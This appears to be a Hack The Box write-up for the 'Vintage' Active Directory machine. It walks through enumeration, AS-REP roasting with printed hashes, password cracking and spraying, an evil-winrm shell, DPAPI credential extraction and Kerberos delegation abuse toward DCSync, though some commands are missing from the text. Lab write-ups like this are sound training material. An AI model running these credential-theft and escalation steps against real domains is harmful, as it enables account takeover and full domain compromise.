Vintage is a hard-difficulty machine from Hack The Box dealing initially with compormising a pre-2000 windows machine credentials leading to the abuse of ReadGMSAPassword -> Abuse AddSelf for the SERVICEMANAGERS group -> Abuse GenericAll on SVC_SQL service account by adding the DONT_REQ_PREAUTH flag so we could perfrom AS-REP Roasting -> Crack the password -> Use that password to claim our user flag with c.neri user -> Extract and decrypt DPAPI credentials -> Abuse the privileges of our new user to add SVC_SQL user to DELEGATEDADMINS to finally impersonate L.BIANCHI_ADM user who has DCSync right on the domain !
$nmap-A-Pn10.129.231.205 Starting Nmap 7.95 ( https://nmap.org ) at 2024-12-0109:44 W. Central Africa Standard Time Nmap scan report for10.129.231.205 Host is up (0.24s latency). Not shown: 987 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-12-0108:50:26Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: vintage.htb0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: vintage.htb0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 49400/tcp open msrpc Microsoft Windows RPC Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
┌──(kali㉿kali)-[~] └─$ bloodhound-python -c All -u P.Rosa -p 'Rosaisbest123' -d vintage.htb -ns 10.129.231.205 --zip INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3) INFO: Found AD domain: vintage.htb INFO: Getting TGT for user INFO: Connecting to LDAP server: dc01.vintage.htb INFO: Found 1 domains INFO: Found 1 domains in the forest INFO: Found 2 computers INFO: Connecting to LDAP server: dc01.vintage.htb INFO: Found 16 users INFO: Found 58 groups INFO: Found 2 gpos INFO: Found 2 ous INFO: Found 19 containers INFO: Found 0 trusts INFO: Starting computer enumeration with 10 workers INFO: Querying computer: FS01.vintage.htb INFO: Querying computer: dc01.vintage.htb WARNING: Could not resolve: FS01.vintage.htb: The resolution lifetime expired after 3.105 seconds: Server Do53:10.129.231.205@53 answered The DNS operation timed out. INFO: Done in 00M 20S INFO: Compressing output into 20250421184313_bloodhound.zip
We could also see that there is a FS01.vintage.htb machine that we could add to our /etc/hosts file.
Checking bloodhound, we see that Domain Computers can perform ReadGMSAPassword on GMSA01$ service account, so probably for our initial compromise we’ll need to have access to a domain computer.
[*] Saving ticket in P.Rosa.ccache ┌──(kali㉿kali)-[~/impacket/examples] └─$ export KRB5CCNAME=P.Rosa.ccache
Now checking what the SERVICEMANAGERS group can do, we can see it has GenericAll on SVC_ARK, SVC_LDAP and SVC_SQL service accounts: SERVICEMANAGERS
What we can do is add the DONT_REQ_PREAUTH to all these service accounts and then perform AS-REP Roasting on them and try to crack their password hashes:
[*] Getting TGT for SVC_SQL /home/kali/impacket/examples/GetNPUsers.py:163: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC). now = datetime.datetime.utcnow() + datetime.timedelta(days=1) $krb5asrep$23$SVC_SQL@VINTAGE.HTB:3da7aa9a63095aa109036eccf0c53294$5abb73be992f09985dea289dea5a0914a4e9a439a4f4bdaf6f53de6c49ab7a0ea678b7941f3ee05a9f07f1c53a3a6e72a6b7ecf682bbcfcc2bccf3dc618fcfe4d62d812d13c6c8a741edb8da69f7d7a53b39574db334ca7cdb1dace33f73167150552345715702bc051098982728bf70d379fffb9f04998bf71bf5bf1154b54348c52dd389d2a70e67445fed159a1e39616d9ffbc6ecfb32cfeb073b14af2e2ee551da8d3cfc23382d4c18297be61a8b861e4b92011c4b23ecc737d64f48a52e958113ccd05c4e7eb62f9ead71f525d62edd9c43c454b6dd991249b6bf1b1f61c2a9890d80032cab127b ┌──(kali㉿kali)-[~/impacket/examples] └─$ python3 GetNPUsers.py vintage.htb/SVC_ARK -no-pass Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
[*] Getting TGT for SVC_ARK /home/kali/impacket/examples/GetNPUsers.py:163: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC). now = datetime.datetime.utcnow() + datetime.timedelta(days=1) $krb5asrep$23$SVC_ARK@VINTAGE.HTB:9c3a66ed5bc9c06915d33708e1670f47$4091cb20f2139022f85472d5031b6e588151f560891d0b8bac7f8805ef5af51738a6944861792d09dd8c13bf7781cf5bdf5d2f6fc8344b2749ee776b50292fccaaf3bc042ee190db5dc048ddc63171e2eff61ed6486c7df4554bdab3d6f620e331106b140fac79b12df4c1ce01e240db7fab7d1cb0a04a64f2dd69012bc60b3464b5f763fe832f8aa81c66de4539d1bb18d84d11ba3558a89bcbd8a5f4e2ed88c39baeb3d9d9ae4a2d482cdcb8040fd7d5fdff79581c11a0ca0fd634321ce97a2ef39eadeb2be692849d85d03d963d34ee51812c09aabe4e22a9d66e024996d2c365691a3912ef3b65f7
And now attempt to crack these hashes:
1 2 3 4 5 6 7
┌──(kali㉿kali)-[~/impacket/examples] └─$ john -w=/usr/share/wordlists/rockyou.txt hashes Using default input encoding: UTF-8 Loaded 2 password hashes with 2 different salts (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 128/128 AVX 4x]) Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status Zer0the0ne ($krb5asrep$23$SVC_SQL@VINTAGE.HTB)
And we got the password for the SVC_SQL account. We can now use this password to perform a password spraying attack on the users we got from bloodhound: Users
And the password was valid for C.NERI user. Lets now use that user who’s also a member of Remote Management Users to get access to system and our user flag by first requesting a TGT and then connecting with evil-winrm:
[*] Saving ticket in C.Neri.ccache ┌──(kali㉿kali)-[~] └─$ export KRB5CCNAME=C.Neri.ccache ┌──(kali㉿kali)-[~] └─$ evil-winrm -i dc01.vintage.htb -r vintage.htb Evil-WinRM shell v3.7 Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\C.Neri\Documents> whoami vintage\c.neri *Evil-WinRM* PS C:\Users\C.Neri\Documents> cat ../desktop/user.txt 64deb83e04c3c5bf5f9338823a0aaa96 *Evil-WinRM* PS C:\Users\C.Neri\Documents>
Privilege Escalation to Administrator
Credential Dumping via DPAPI to get c.neri_adm
Now since we’re on the machine, we can download the masterkey and dpapi key to dump credentials. Let’s first upload nc64.exe to the machine and then download the masterkey and then the dpapi key:
Decrypted key with User Key (MD4 protected) Decrypted key: 0xf8901b2125dd10209da9f66562df2e68e89a48cd0278b48a37f510df01418e68b283c61707f3935662443d81c0d352f1bc8055523bf65b2d763191ecd44e525a
And finally extract credentials from the dpapi key:
Now from bloodhound we can see that c.neri_adm has GenericWrite and AddSelt on DELEGATEDADMINS which itself has l.bianchi_adm as a member:
C.NERI_ADM
L.BIANCHI_ADM
What we could do now is try to impersonate l.bianchi_adm user. We can do so by first adding svc_sql service account to DELEGATEDADMINS group and then perform the impersonation using it:
[*] Impersonating l.bianchi_adm /usr/share/doc/python3-impacket/examples/getST.py:380: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC). now = datetime.datetime.utcnow() /usr/share/doc/python3-impacket/examples/getST.py:477: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC). now = datetime.datetime.utcnow() + datetime.timedelta(days=1) [*] Requesting S4U2self /usr/share/doc/python3-impacket/examples/getST.py:607: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC). now = datetime.datetime.utcnow() /usr/share/doc/python3-impacket/examples/getST.py:659: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC). now = datetime.datetime.utcnow() + datetime.timedelta(days=1) [*] Requesting S4U2Proxy [*] Saving ticket in l.bianchi_adm@[email protected]
We can also see that l.bianchi_adm has DCSync rights on the domain so we can dump secrets using his ticket: